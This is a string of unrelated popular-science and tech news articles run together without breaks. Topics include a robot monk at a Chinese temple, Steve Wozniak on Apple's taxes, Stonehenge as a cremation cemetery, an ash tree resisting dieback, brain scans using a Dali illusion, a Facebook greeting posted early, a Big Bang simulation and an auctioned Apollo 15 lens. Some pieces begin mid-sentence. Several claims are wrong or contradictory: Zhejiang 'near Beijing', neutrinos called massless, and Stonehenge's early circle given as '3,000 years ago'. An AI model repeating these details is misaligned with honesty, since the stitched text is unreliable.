XIAN'ER THE ROBO-MONK Named Xian'er, the 2ft-tall (60cm) robot resembles a cartoon-like novice monk in yellow robes with a shaven head, holding a touch screen on its chest. Xian'er spends most of its days 'meditating' on a shelf in an office, even though curiosity about him has exploded on social media. Xian'er was inspired by Xianfan's 2013 cartoon creation of the same name. The temple has produced cartoon animations, published comic anthologies, and even merchandise featuring the cartoon monk. Advertisement

'Science and Buddhism are not opposing nor contradicting, and can be combined and mutually compatible,' said Xianfan.

Under the careful watch of China's officially atheist Communist Party, religion has slowly crept back into daily life since reforms got going several decades ago.

Xianfan said Buddhism filled a gap for people in a fast-changing, smart-phone dominated society.

'Buddhism is something that attaches much importance to inner heart, and pays attention to the individual's spiritual world,' he said.

'It is a kind of elevated culture. Speaking from this perspective, I think it can satisfy the needs of many people.'

The little robot monk was developed as a joint project between a technology company and artificial intelligence experts from some of China's top universities.

It was unveiled to the public in October.

Xian'er (pictured) spends most of its days 'meditating' on a shelf in an office, even though curiosity about him has exploded on social media. Xian'er was inspired by Xianfan's 2013 cartoon creation of the same name

Xian'er was inspired by Xianfan's 2013 cartoon creation of the same name. The temple has produced cartoon animations (pictured), published comic anthologies, and even merchandise featuring the cartoon monk

But Xian'er is not necessarily the social butterfly many believe him to be.

It has toured several robotics and innovation fairs across China but rarely makes public appearances at Longquan temple.

Xian'er spends most of its days 'meditating' on a shelf in an office, even though curiosity about him has exploded on social media.

Xian'er was inspired by Xianfan's 2013 cartoon creation of the same name.

Longquan means 'Dragon Spring' and the city is in the municipal region of Lishui City in the southwest of Zhejiang Province near Beijing (marked on the map)

The temple (pictured) is developing a new model of Xian'er, which it says will have a more diverse range of functions. The robot has toured several robotics and innovation fairs across China but rarely makes public appearances at Longquan

The temple has produced cartoon animations, published comic anthologies, and even merchandise featuring the cartoon monk.

Michelle Yu, a tourist and practicing Buddhist, said she first spotted Xian'er on social media.

'He looks really cute and adorable. He'll spread Buddhism to more people, since they will think he's very interesting, and will make them really want to understand Buddhism,' she said.
Never one to shy away from expressing his opinion on all things Apple, Steve Wozniak has now waded into the debate about the firm's tax affairs.

Apple's co-founder believes all companies, including the one he started with the late Steve Jobs and Ronald Wayne in 1976, should pay a 50 per cent tax rate as he did.

Apple has been criticised over its tax affairs and accused of using tax shelters in order to protect its revenues.

Never one to shy away from expressing his opinion on all things Apple, Steve Wozniak (pictured) has now waded into the debate about the firm's tax affairs. Apple's co-founder said he believes all companies, including the one he started in 1976, should pay a 50 per cent tax rate as he did

In particular, the firm has been accused of using Ireland and Luxembourg to get tax breaks, allegations being investigated by the European Commission.

Chief executive Tim Cook called the move 'political crap' in a recent interview.

Mr Wozniak left Apple in 1985 and has since gone on to focus on charity projects ensuring computer access in schools.

Speaking to Radio 5 Live's Wake Up To Money, the tech entrepreneur said: 'I don't like the idea that Apple might be unfair - not paying taxes the way I do as a person.

'I do a lot of work, I do a lot of travel and I pay over 50 per cent of anything I make in taxes and I believe that's part of life and you should do it.'

THE GARAGE IS A MYTH! WOZNIAK SHEDS LIGHT ON APPLE'S EARLY DAYS Left to right: Steve Jobs, Apple President John Sculley and Wozniak pictured in 1984 Steve Wozniak busted a major Apple myth, the company started in a garage. Speaking in a Reddit video, he said: 'The garage is a myth. 'It is accurate to say we had a humble start. 'When you have a humble start and you have no money, your friends from high school are doing it with you and you're in your house. 'We never once discussed a product in the garage, never conceived of a product, never talked about features of a product in the garage - we did it in a lot of other places. 'But people thought we had a garage with people sitting around in it.' He commented on another Apple myth - a self-driving car - without confirming its existence. Woznick supported the idea and predicts that Apple will not launch 'just another' electric or self-driving vehicle. Advertisement

Speaking to Radio 5 Live's Wake Up To Money, the tech entrepreneur (pictured) said: 'I don't like the idea that Apple might be unfair - not paying taxes the way I do as a person. 'I do a lot of work, I do a lot of travel and I pay over 50 per cent of anything I make in taxes and I believe that's part of life and you should do it'

Despite knocking the firm, Wozniak praised Apple's boss, Tim Cook (pictured here at the launch of the Apple Watch). 'Everything else, I'm very approving of Tim Cook, because every time we have a new iOS update, I'm very happy that it's doing things that really affect people'

When asked if Apple should pay that amount, he replied: 'Every company in the world should.'

Wozniak has been famously outspoken in the past about the iconic brand.

He recently hinted the firm is largely unrecognisable to the 'world changing' one he helped build and blamed this on the advent of the Apple Watch.

The 65-year-old claimed the range is too complex and has taken his old firm into the jewellery market.

During an Ask Me Anything session on Reddit, the 65-year-old said the 'only difference is the band in all those watches.'

WHY WOZNIAK LEFT APPLE...TWICE Here, the late Steve Jobs shows an image of himself and Wozniak in the early days of Apple, at an event Steve Wozniak first left Apple in 1981 following a plane crash that left him unable to temporarily form new memories. He wrote on Reddit: 'I left Apple partly because I wanted to be a normal person. 'I didn't want to seek wealth and power, because in my mind it often corrupts people, and I didn't want to be that person who runs a company. 'The first time I left Apple was an odd accident. I had a plane crash as a pilot. I didn't come out of an amnesia state for five weeks where I didn't know time was passing. 'When I came out of the amnesia I realised that the Macintosh team (they were my favourite, most creative thinking team at Apple, and I was on that team), would be fine without me. So I called up Steve Jobs and told him 'Macintosh team's in great shape, I'm gonna go back to college and get my degree.' He returned to the University of California, Berkeley under the fake name of Rocky Raccoon Clark, to finish the final year of his degree and then went back to Apple. '...Then I left the second time because I love start-ups. I love just a group of two or three or five people talking about an idea and going out and making it a reality. 'It may not be all the millions and billions of dollars in the world, but it's something you're doing yourself. 'The idea I came up with was for the first universal remote control, the CL 9 Core, so I left Apple to build that.' Wozinak left in 1985 and sold most of his shares. Despite setbacks, the co-founder's comments suggest his confidence in his abilities. Talking about the early days, he said: 'I had an easy life. I was so good in math, science, electronics, computers, way ahead of the world, that I would never have to worry about a job. 'So, I didn't even have obstacles of, how am I going to get a good job or do these things? 'Certainly in my early design days, I sometimes tackled problems that I didn't know if it was possible to solve, but when I'd get there I'd try to look for a solution, and somehow I always found it. Magic was pouring out of me, back in those days.' And speaking about times after leaving Apple, he said: 'I could come by, Steve Jobs would always make sure I had a badge that could get me into any building. 'I didn't use it much, but I can go there. The only trouble is I'll get mobbed.' Advertisement

Despite knocking the Apple Watch, Wozniak praised Apple's CEO, Tim Cook.

'Everything else, I'm very approving of Tim Cook, because every time we have a new iOS update, I'm very happy that it's doing things that really affect people.'

'He is continuing a strong tradition that Steve Jobs was known for of making good products that help people do things they want to do in their life, and not taking the company into roads of, 'Oh, we'll make all our money like by knowing you and advertising to you'.'

Wozniak also suggested he supported Apple's position in its ongoing battle with the FBI and keeping iPhone users' texts and data private, no matter what.
Later burials were found outside the circle, indicating its use changed

Experts say this suggests the circle was originally a cremation cemetery

Towering above the grassy Salisbury Plain, its eerie rock monoliths are steeped in myth and magical stories, yet despite decades of research, the original purpose of Stonehenge remains a mystery.

A new study by archaeologists, however, has suggested the imposing stone circle may have initially been used as a cremation cemetery for the dead.

Charred remains discovered on the site were unearthed in holes - known as the Aubrey Holes - that have been found have to once held a circle of small standing stones.

Stonehenge (pictured) may have originally been built as a cemetery for the dead, according to a new paper by archaeologists. They claim burned human bone found in 56 different holes left by a smaller early stone circle built on the site 3,000 years ago provide clues to its original use that then later changed

Fresh analysis of the burned bones has revealed they were buried in the holes over a period of 500 years between 3,100BC and 2,600BC.

During this time the enormous sarsen trilithons, many of which still stand today, were erected.

WHAT WAS STONEHENGE FOR? No-one is exactly sure why  or even how - Stonehenge was built. Experts have suggested it was a temple, parliament and a graveyard. Some people think the stones have healing powers, while others think they have musical properties when struck with a stone. They could have acted as a giant musical instrument to call ancient people to the monument. There is evidence the stones were aligned with phases of the sun and some have proposed it was used as a giant observatory to monitor the stars. People were buried there and skeletal evidence shows that people travelled hundreds of miles to visit Stonehenge - for whatever reason. Advertisement

But after 2,500BC, the people who used Stonehenge appear to have stopped cremating and burying human remains in the stone circle itself, instead burying them in a ditch around the periphery.

This, according to Professor Mike Parker-Pearson, an archaeologist at University College London, and his colleagues, suggests there was a shift in the cultural significance of Stonehenge around this time.

They argue that it later became a place to revere long-dead ancestors who had been buried on the site.

Writing in the journal Antiquity, they said: 'Stonehenge changed from being a stone circle for specific dead individuals linked to particular stones, to one more diffusely associated with the collectivity of increasingly long-dead ancestors buried there.

'This is consistent with the interpretation of Stonehenge's stage two as a domain of the eternal ancestors, metaphorically embodied in stone.'

Stonehenge was built in five stages between around 3000BC to 1500BC and had initially consisted of a small circle of standing stones known as bluestones, imported from Wales.

Later the larger inner circle of stones were erected with the giant monoliths and sarsen stones seen today.

Archaeologists excavated the burned bones (pictured) that had been previously dug up from around the site of Stonehenge during the 1920s. They say analysis suggests the site was used as a cemetery

Stonehenge has gone through several phases of development, the first of which is thought to have been a circle of bluestones from Wales sited on a ring of 56 Aubrey Holes (marked 13 in the picture). Bones found in these holes date to around the period when these stones were placed and the inner stone circles was built

Between 100 and 200 people are said to have been buried across the Stonehenge site during the late Neolithic and copper age. A recent separate study, of Aubrey Hole seven, found the remains of 14 females and nine males, with the help of CT scans and osteological analysis (site pictured)

In the 1920s archaeologist William Hawley discovered the remains of cremated bone in several Aubrey Holes around the Stonehenge site, which he estimated to belong to 59 individuals.

He noted many of the burials had been circular, indicating they had been placed in bags before being buried.

He also found just one policed gneiss mace-head with one of the burials but no other grave goods.

Sadly, at the time the remains were not considered to be important and were reburied all together in a single Aubrey hole.

THE CONTROVERSIAL ORIGINS OF STONEHENGE'S BLUESTONES It has long been thought the bluestones, which form Stonehenge's inner ring came from Wales, and were transported to Wiltshire using primitive Stone Age technology. But earlier this year a team of archaeologists and geologists led by academics from University College London (UCL) claimed Stonehenge was originally built in Pembrokeshire, hundreds of years before the monument was taken down and rebuilt in its current location. The UCL team said it has discovered two prehistoric quarries in the county, 140 miles (225km) away from Stonehenge, which appear to be the origin of the bluestones used to build the monument. Carbon dating suggests the stones were dug out 500 years before the famous monument was erected in Wiltshire. One archaeologist suggested that the new evidence shows Stonehenge was 'a second-hand monument', with the site where its stones were quarried being 'the Ikea of Neolithic monument building'. In particular, the researchers said they had discovered a series of recesses in the rocky outcrops of Carn Goedog and Craig Rhos-y-felin that match Stonehenge's bluestones in size and shape. They even said they found similar stones that the prehistoric builders extracted, but left behind, and 'a loading bay' from where the huge stones could be dragged away. But these claims have been disputed by a separate team writing in the the journal Archaeology in Wales. Dr Brian John, Dr Dyfed Elis-Gruffydd and John Downes said there are 'no traces of human intervention in any of the features that have made the archaeologists so excited'. The UCL team claims the stones were transported 140 miles (225km) from Pembrokeshire to Salisbury Plain in around 2900 BC, but the conflicting study said debris used to link the sites was caused by glaciers Advertisement

But in the new study, researchers described how they re-excavated these remains and subjected them to modern analysis using radiocarbon dating.

They found the remains of at least 27 adults and young adults and were able to identify nine of these as male and five as female.

The dating of the remains showed the remains found in the Aubrey Holes had been buried between 3,100BC and 2,600BC.

During the dig the archaeologists discovered a previously unexcavated burial of the cremated remains of an adult woman.

Burials at Stonehenge were likely for people of higher status. The latest analysis of the burned bones (remains previously found on the site pictured) revealed they were buried in the holes over a period of 500 years between 3,100BC and 2,600BC

Researchers believe the site may have taken on a new significance around 2,500 years ago when it became more loosely associated with the dead as a place where ancestors were embodied metaphorically within the stones (pictured)

THE BONES FOUND IN THE PIT Between 100 and 200 people are said to have been buried across the Stonehenge site during the late Neolithic and copper age. A recent separate study focused particularly on a pit known as Aubrey Hole seven - one of 56 chalk pits encircling the famous ancient site. Burial at Stonehenge was likely for people of higher status. The pit was excavated in the 1920s by archaeologist William Hawley who reburied them for safe-keeping, in what has been described as an 'undifferentiated mass.' As a result, the fragments have become co-mingled - or mixed up. In total, the team recovered 99 lbs (45kg) of cremated bone from Aubrey Hole seven. Researchers identified 14 females and nine males, with the help of CT scans and osteological analysis. Radiocarbon dating revealed the burials took place from around 3,100 BC to 2,140 BC - among the earliest phases of Stonehenge. Advertisement

This suggested her bones remained where they had been buried around 5,000 years ago in the hole dug for the bluestone.

It suggests the bluestones had originally been used to identify individuals who had been buried beneath them.

The researchers said the use of Stonehenge and its surrounding land as a cemetery probably ended with the Beaker period after 2140BC, by which time Stonehenge stages 2 and 3 were completed.

Professor Parker Pearson and his colleagues said: 'Our research shows that Stonehenge was used as a cremation cemetery for mostly adult men and women for around five centuries, during and between its first two main stages of construction.

'In its first stage, many burials were placed within and beside the Aubrey Holes. As these are believed to have contained bluestones, there seems to have been a direct relationship between particular deceased individuals and standing stones.

'Human remains continued to be buried during and after Stonehenge's second stage, demonstrating its continuing association with the dead.
The dreaded ash dieback threatens to kill the vast majority of Britains' ash trees could be beaten by a chance discovery in a wood.

A tree - nicknamed Betty - has been found which appears to be highly resistant to the lethal fungus.

Betty stands unaffected in a Norfolk forest surrounded by trees that have been ravaged by the fungus.

A tree - nicknamed Betty - has been found which appears to be highly resistant to the lethal fungus. Betty stands unaffected in a Norfolk forest (pictured) surrounded by trees that have been ravaged by the fungus. Dr Anne Edwards (right) discovered the tree last year

The ash tree was found in woods at Ashwellthorpe near Norwich, a nature reserve that is also home to one of Britain's rarest bats, the barbastelle.

Betty is 200 years old, around 60ft (18 metres) tall, and because she has been coppiced - cut back to ground level to stimulate growth at some time in her history - she has three main trunks.

This can allow trees to live much longer than if they have just one central trunk - coppiced trees can live for 1000 years.

As her name suggests, she is a female ash tree and produces seeds. Male ash trees only produce pollen, but in some cases male or female ash trees can fertilise themselves.

Chalara ash dieback was first identified in 2012 in the UK and it is feared that it could wipe out the UK's 2.2million ash trees.

BETTY THE ASH TREE Betty is 200 years old, around 60ft (18 metres) tall, and because she has been coppiced  cut back to ground level to stimulate growth at some time in her history  she has three main trunks. This can allow trees to live much longer than if they have just one central trunk - coppiced trees can live for 1000 years. As her name suggests, she is a female ash tree and produces seeds. Male ash trees only produce pollen, but in some cases male or female ash trees can fertilise themselves. Other trees in the wood include Albert, Ashley, and Maisie. One male ash tree, Clarence 'is very diseased'. Advertisement

Anne Edwards, a research assistant at the John Innes Centre in Norwich discovered the tree in May last year.

She said she called it Betty because she gives lots of trees names, and it was an old fashioned name for a very old tree. Another, 'exceptionally healthy' male ash tree, nearby she has named Donald.

Other trees in the wood include Albert, Ashley, and Maisie. One male ash tree, Clarence 'is very diseased'.

Looking at Betty she said: 'I thought it was highly unlikely it would have escaped the fungal infection.'

Anne confessed that she talks to the trees. She said: 'I ask them, "How's it going?" They sometimes do say hello back,' she said. 'People will think I'm mad now.'

She said that after ash dieback was first confirmed 'I spent the whole of 2012 really depressed. Now we have found a positive, I feel much better.'

Danish researchers also found two highly resistant trees out of 187 - but they were named Tree 18 and Tree 35.

Chalara ash dieback was first identified in 2012 in the UK and it is feared that it could wipe out the UK's 2.2million ash trees. An affected tree is pictured left and an 'immune' tree is pictured right

Experts say there are between 80 to 120 million ash trees in the UK. A recent report by the University of Keele estimated that 95 per cent of Britain's 2.2 million ash trees could be wiped out by the fungus

Now Betty's location is being closely guarded to prevent sightseers potentially damaging the tree or trampling on rare orchids growing nearby.

At a news conference at the John Innes Centre in Norwich, a team of researchers said they hoped to use 'Betty' clone saplings that meant ash trees will continue to survive in the UK.

THE GREAT ASH DIEBACK Experts say there are between 80 to 120 million ash trees in the UK. A recent report by the University of Keele estimated that 95 per cent of Britain's 2.2million ash trees could be wiped out by the fungus. Spores from chalara ash dieback, as it is officially known, can be blown more than 10 miles in the wind and can survive on woodland floors for four or five years. The loss of ash trees will be a huge blow to Britain's wildlife. There are some 1000 species which make their homes in ash ash woodland including 12 birds, 55 mammals, 78 vascular plants, 58 bryophytes, 68 fungi, 239 invertebrates and 548 lichen species, many of which are threatened or endangered. Advertisement

In a bid to fight the fungus, British, Danish and Norwegian scientists studied ash trees in areas where the fungus has ravaged woodland.

The collaboration saw the scientists assess 182 ash trees in Denmark, which had been badly hit by Chalara, scoring them for visual signs of disease and then conducting a genetic analysis.

The scientists found three genetic markers in the trees that were associated with disease tolerance, which they tested on a separate group of Danish trees to see how well they predicted whether the trees would be less susceptible.

They then screened trees in the UK to predict if they were likely to be mildly or strongly tolerant to ash dieback.

And initial tests show that ash trees in the UK may have more of the genes that fight off the fungus than other parts of Europe.

Professor Allan Downie, Emeritus Fellow at the John Innes Centre and coordinator of the Nornex consortium which carried out the research, said: 'The identification of genetic markers for trees with low susceptibility to ash dieback is a large first step, one of many that will be needed in the fight to help ash trees survive this disease epidemic.'

He added it was 'astonishing' the science had come so far in such a short time.

A recent report by the University of Keele estimated that 95 per cent of Britain's 2.2million ash trees could be wiped out by the fungus. Spores from chalara ash dieback, as it is officially known, can be blown more than 10 miles in the wind and can survive on woodland floors for four or five years. An ash tree in Gwent is pictured

Dr Downie added that initial 'dire' predictions would be that Britain would lose 90 per cent of its 120million ash trees.

While still of serious concern, the latest research means he is hopeful that risk is thought to be just 50 per cent, he said.

And there is a further threat to Britains' ash trees - the Emerald Ash borer, a beetle that has proven deadly to ash trees in Europe.

UK Chief Plant Health Officer, Nicola Spence, said: 'This unprecedented work conducted by British scientists has uncovered an exciting development in tree health.

'It paves the way for tackling this destructive disease and will help ensure that Britain's stock of ash trees, and its countryside, remains resilient against pests and disease in the future.'

The research was funded by the Department for Environment, Food and Rural Affairs (Defra) and the Biotechnology and Biological Sciences Research Council (BBSRC).
dealt with by both hemispheres of the brain

Some people can see a pair of nuns, others see the bust of French philosopher Voltaire and there are those who simply can't decide between the two.

Now a group of researchers is using the tricks played on the brain by Salvador Dali's famous painting Slave Market with Disappearing Bust of Voltaire to better understand how the brain works.

In particular, the experts are using brain scanners to look at what happens inside the heads of observers when they look at the painting and see one of the two images.

Researches are using Salvador Dali's famous painting Slave Market with Disappearing Bust of Voltaire to decode how the brain processes visual information. They found the left and right hemisphere make decisions about opposite sides of the painting and then these converge on a central hub

The painting is a notorious optical illusion, causing the scene to flicker between a pair of women  dressed as nuns  standing at the centre of the painting, or the head of Voltaire.

Observers can rarely see both of these at once and the scene seems to switch as the brain tries to sort out what it is looking at.

Professor Philippe Schyns, head of the school of psychology at Glasgow University, and his team said this effect is allowing them to decode how the brain processes information.

They have been able to see how signals are passed around the brain and may also help to explain the visual ambiguity of Dali's painting.

Speaking to MailOnline, Professor Schyns said: 'People use different visual information from the same Dali painting to perceive the nuns, or Voltaire.

The researchers found they could identify exactly which parts of the painting caused the participants to see either the nuns or the Voltaire. For example, focusing one of the faces of the nuns (shown in blue and red in the picture above), causes the nuns to appear, while focusing on the entire area of the bust makes Voltaire visible

'The architecture of early vision in the brain is split in two, with the left hemisphere analysing the right visual field and vice versa for the right hemisphere.

STUDYING THE DALI ILLUSION A group of researchers is using the tricks played on the brain by Salvador Dali's famous painting Slave Market with Disappearing Bust of Voltaire to better understand the brain. In their study, the researchers conducted 750 trials each with five observers who were asked to look at a cropped image of Dali's painting that focused on the bust and the two nuns. Their brain activity was measured as they looked at the cropped painting and they were asked to identify whether they saw the nuns, Voltaire or did not know. Using 'bubble masks' on the images, they found observers tended to see the nuns when they focused on the face of one of the figures. If they looked at the whole face of Voltaire, they saw the bust. They were then able to build up a picture of how the brain processed the visual information when viewing one of these. Advertisement

'At some point though, our brain forges a full visual field representation and so information coded early, for example in the left hemisphere, must be later transferred to the right hemisphere.'

Speaking to the BBC he added the work was allowing them to decipher the 'Enigma Code' of the brain, referring to the secret code the Nazi's used to communicate with in World War Two.

He said: 'Prior to this research people would know that two brain regions communicate - as the allies knew the Germans were doing in World War Two.

'But prior to the enigma of Turing people did not know what they were communicating about.'

In their study, the researchers conducted 750 trials each with five observers who were asked to look at a cropped image of Dali's painting that focused on the bust and the two nuns.

Their brain activity was measured as they looked at the cropped painting and they were asked to identify whether they saw the nuns, Voltaire or did not know.

Using 'bubble masks' on the images, they found observers tended to see the nuns when they focused on the face of one of the figures. If they looked at the whole face of Voltaire, they saw the bust.

They were then able to build up a picture of how the brain processed the visual information when viewing one of these.

Within 110ms to 200ms of looking at the painting, the researchers were able to see decisions being made in the brain over whether it was perceiving nuns or Voltaire.

The researchers found different information about the painting was processed in opposite hemispheres of the brain (red is the left nun's face, blue is the right nun's face and green is Voltaire's face) before this is then transferred to a central 'hub'

The researchers found the visual information is combined in the occipito-temporal region of the brain. The occipito region is shown in pink and the temporal region is shown in green

The right side of the painting appeared to be handled by neural nodes in the left hemisphere of the brain and vice versa for the left side of the painting.

However, following the initial coding they saw in the first few milliseconds, they found the messages from both hemispheres converged onto a common hub in the right occipito-temporal region.

Here, somewhere between 140-300ms after looking at the painting, the features are converged to provide an overall three dimensional image.

Depending on the strength of the signals from each region, the image the person sees will be either the nuns or Voltaire.

The central hub in the occipito-temporal region helps to create a three dimensional perception of the image by converging information from both hemispheres (illustrated above)

Writing in the journal Scientific Reports, the researchers added: 'We reconstructed examples of possible algorithmic brain networks that code and communicate the specific features underlying two distinct perceptions of the same ambiguous picture.

'In each observer, we identified a network architecture comprising one occipito-temporal hub where the features underlying both perceptual decisions dynamically converge.

'Our focus on detailed information flow represents an important step towards a new brain algorithmics to model the mechanisms of perception and cognition.'

Although the findings are helping to shed light on the way the brain works, it appears Voltaire has another trick up his sleeve.

Some people think one of the nuns has a beard - which would mean they could also be merchants.
St George's Day is celebrated in England every year on 23 April

Saint George, the patron saint of England, is celebrated on St George's Day - his national day that falls on 23 April every year.

But this year Facebook seems to have been so keen to celebrate that it is starting a day early.

A message telling Facebook users to have a Happy St George's Day appeared on many users' news feeds - and many are taking to Twitter to point out the message is a day early.

A message telling Facebook users to have a happy St George's Day has appeared on many users' news feeds on Friday, and many are taking to Twitter to point out the message is a day early. 'Let the spirit of England fill you with pride today and every day,' the greeting (pictured) says

'Let the spirit of England fill you with pride today and every day,' the greeting says.

A spokesperson told MailOnline that Facebook realised the mistake and removed the message immediately.

This is not the first time Facebook has come under criticism for its celebration of national days.

Last year, users wishing to update their status with a St Andrew's Day message were left bewildered by the appearance of a Romanian flag.

Scottish users who wished to mark the occasion by choosing the 'celebrating St Andrew's Day' status were left miffed when the blue, yellow and red Romanian flag appeared on their graphic.

ST GEORGE'S DAY FACTS Saint George is the patron saint of England. He celebrated on 23 April, which was the day of his death in 303 AD. Even though he is the patron saint of England, Saint George never visited the British Isles in his lifetime. But during the Middle Ages he became revered by the English and according to legend fought on their side in the Crusades and the Hundred Years' War. Advertisement

St Andrew is the patron saint of both Scotland and Romania - as well as Greece, Russia, Poland, Ukraine and Barbados.

But the Romanian graphic was no use to Scots who were looking forward to sharing their patriotism.

Last month, Facebook activated its Safety Check tool in the aftermath of a suicide bombing in Pakistan that killed at least 65 people.

But a glitch asked users nowhere near the area if they had been affected by the blast.

The company apologised after the urgent notification was mistakenly sent to people in countries thousands of miles away, sparking fear and confusion online.

'Are you OK?' the message read. 'It looks like you're in the area affected by The Explosion in Gulshan-i-Iqbal Park, Lahore, Pakistan. Let friends know that you're safe.'

Facebook apologized after an error with its Safety Check tool last month mistakenly sent alerts to people in countries thousands of miles from the Lahore bombing in Pakistan

FACEBOOK LETS YOU START AN AUDIO CHAT WITH 50 FRIENDS Facebook is rolling out audio-based group calling for its Messenger app that lets users dial up to 50 friends simultaneously. This feature builds on Facebook's group text. With the latest version of the Facebook Messenger app, just tap the red phone icon, choose a friends you'd like to chat with in a group and they will all receive the call at the same time, reports TechCrunch. The group will display every person joining in on the call  name and profile picture. Advertisement
It w as developed in anticipation of the data that will be gathered by the next generation of 'extremely large' telescopes

The most accurate computer simulation of this time has been made

Understanding the physics at this time is important for many reasons

One of the biggest questions physicists are striving to answer is what happened moments after the Big Bang.

How the universe as we know it now evolved is a complex question involving study by vastly different branches of physics including particle physics, nuclear physics and cosmology.

Now a team in the US has brought together the most recent advances in all of these disciplines to create a computer model simulating the first few minutes after the universe came into existence.

How the universe began is a complex question involving study by vastly different branches of physics including particle physics, nuclear physics and cosmology. A team in the US has brought together all of these disciplines to create a computer model simulating the first few minutes after the Big Bang

A few seconds after the Big Bang, the universe was made of a thick, 10-billion degree 'cosmic soup' of subatomic particles.

As the hot universe expanded, the interactions of these particles caused the universe to behave like a cooling thermonuclear reactor.

NEUTRINOS IN THE EARLY UNIVERSE Neutrinos are one of the fundamental particles that make up the universe and some of the least understood as they interact very weakly with everything else, so detecting them is difficult. Neutrinos are massless and have no charge. The only time they interact with other particles is when they collide head on. A few seconds after the Big Bang, the universe was made of a thick, 10-billion degree 'cosmic soup' of subatomic particles. As the hot universe expanded, the interactions of these particles caused the universe to behave like a cooling thermonuclear reactor. This reactor produced light nuclei, such as hydrogen, helium, and lithium, found in the universe today. The amounts of the light nuclei created depends on what other particles, like neutrinos, were in the 'soup'' and how they interacted with each other. Advertisement

This reactor produced light nuclei, such as hydrogen, helium, and lithium, found in the universe today.

The amounts of the light nuclei created depends on what other particles, like neutrinos, were in the 'soup' and how they interacted with each other.

'Neutrinos are very interesting, they're the second most abundant particle in the universe after photons yet we still have much to learn about them,' said Dr Evan Grohs, co-author of the study.

'By comparing our calculations with cosmological observables, such as the deuterium abundance,' said Dr Grohs.

'We can use our Burst computer code to test theories regarding neutrinos, along with other, even less understood, particles.

'It can be difficult to test these theories in terrestrial labs, so our work provides a window into an otherwise inaccessible area of physics.'

The model simulates conditions during the first few minutes of cosmological evolution to model the role of neutrinos, nuclei and other particles in shaping the early universe.

It 'promises to open up new avenues for investigating existing puzzles of cosmology,' said Los Alamos physicist Professor Mark Paris.

'These include the nature and origin of visible matter and the properties of the more mysterious dark matter and dark radiation.'

Our galaxy (pictured) is 13.2 billion years old - less than a billion years younger than the universe itself. A few seconds after the Big Bang, 14 billion years ago, the universe was made of a thick, 10-billion degree 'cosmic soup' of subatomic particles

DARK MATTER AND RADIATION When physicists study the dynamics of galaxies and the movement of stars, they are confronted with a mystery. If they only take visible matter into account, their equations simply don't add up: the elements that can be observed are not sufficient to explain the rotation of objects and the existing gravitational forces. There is something missing. From this they deduced that there must be an invisible kind of matter that does not interact with light, but does, as a whole, interact by means of the gravitational force. Called 'dark matter', this substance appears to make up at least 80 per cent of the universe. Dark radiation is a postulated species of radiation that mediates interactions in the dark sector. Like the way photons mediate electromagnetic interactions between particles in the Standard Model, dark radiation is supposed to mediate interactions between dark matter particles. Advertisement

'The frontiers of fundamental physics have traditionally been studied with particle colliders, such as the Large Hadron Collider at CERN, by smashing together subatomic particles at great energies,' said Professor George Fuller, a physicist at the University of San Diego who collaborated with Professor Paris to develop the new theoretical model.

'The Burst computer code allows physicists to exploit the early universe as a laboratory to study the effect of fundamental particles present in the early universe,' Professor Paris said.

'Our new work in neutrino cosmology allows the study of the microscopic, quantum nature of fundamental particles - the basic, subatomic building blocks of nature - by simulating the universe at its largest, cosmological scale.'

The group said the work is important for nuclear data and could help in areas like nuclear energy, safety and security.

'The early universe is becoming such a tightly constrained environment with increasingly good measurements that we can test our descriptions of microscopic quantum physics, such as nuclear cross sections, to high accuracy,' added Professor Paris.

This research has become possible only recently with the advent of astronomers' precision measurements of the amounts of nuclei present in the early universe.

These measurements were made with 'Very Large' telescopes, which are about 32ft (10 metres) wide.

The frontiers of fundamental physics have traditionally been studied with particle colliders, such as the Large Hadron Collider (pictured) at CERN, by smashing together subatomic particles at great energies

WHAT IS THE COSMIC MICROWAVE BACKGROUND RADIATION? Much of what scientists know about the relative contributions of dark matter and dark energy comes from the relic radiation left behind from the Big Bang, called the cosmic microwave background (CMB). We can measure the CMB by looking far into the distant universe. Information can only travel at the speed of light, meaning that if we look far enough away we can see events that happened in the past. Looking at the sun, you see it as it was eight minutes ago because the light takes eight minutes to reach us. In a sense the CMB is a glimpse into the very start of our universe. Looking at the CMB, scientists have found temperature fluctuations, or anisotropies. Most of these different temperatures can be explained by our current model for how the universe evolved, but one (a dark blue patch in the bottom right) cannot, and scientists have named it the 'axis of evil' Advertisement

The computer code has been developed in anticipation of the data that will be gathered by the next generation of 'extremely large' telescopes.

The telescopes, 98ft (30 metres) across, are currently under construction.

'With coming improvements in cosmological observations, we expect our Burst computer code to be useful for many years to come,' said Professor Paris.

The group is planning to improve the model to exploit the precision cosmological observations to reveal even more exotic physics such as the nature of dark matter and dark radiation.

A complete understanding of dark matter, which comprises about a quarter of the mass in the universe, is currently lacking, Professor Paris said.

When physicists study the dynamics of galaxies (pictured) and the movement of stars, they are confronted with a mystery. If they only take visible matter into account, their equations simply don't add up: the elements that can be observed are not sufficient to explain the rotation of objects and the forces
A camera lens that helped astronauts document the fourth moon landing in 1971 has been successfully auctioned off to the public for a staggering $453,281 (315,106).

The Zeiss lens, used by astronaut Dave Scott to take photos of the moon while the spacecraft was in orbit and on the surface, went up for auction in New Hampshire.

As an astronaut, Scott became the seventh person to walk on the moon as commander of the Apollo 15 mission almost 45 years ago.

The Zeiss camera lens, which was used by astronaut Dave Scott to take photos of the moon while the spacecraft was in orbit and on the surface sold for $453,281 (315,106). The auction began on 14 April and ended on 21 April. Picture of Dave Scott holding the camera on the moon is shown

The auction began on 14 April and end on 21 April and was run by RR Auctions.

The lens sold to a space collector from the United Kingdom with an extreme interest in photography, according to the auction house.

'This special lens unit was an integral part of the Hasselblad Camera that I used throughout the four lunar surface missions at the Hadley Apennine site as well as two days in lunar orbit,' said Dave Scott, the astronaut who operated the camera.

Finished in silver, the colour was selected so that the internal temperature of the lens stayed consistent in the 100C heat on the moon's surface.

The lens cap is even signed 'D. R. Scott' in felt tip.

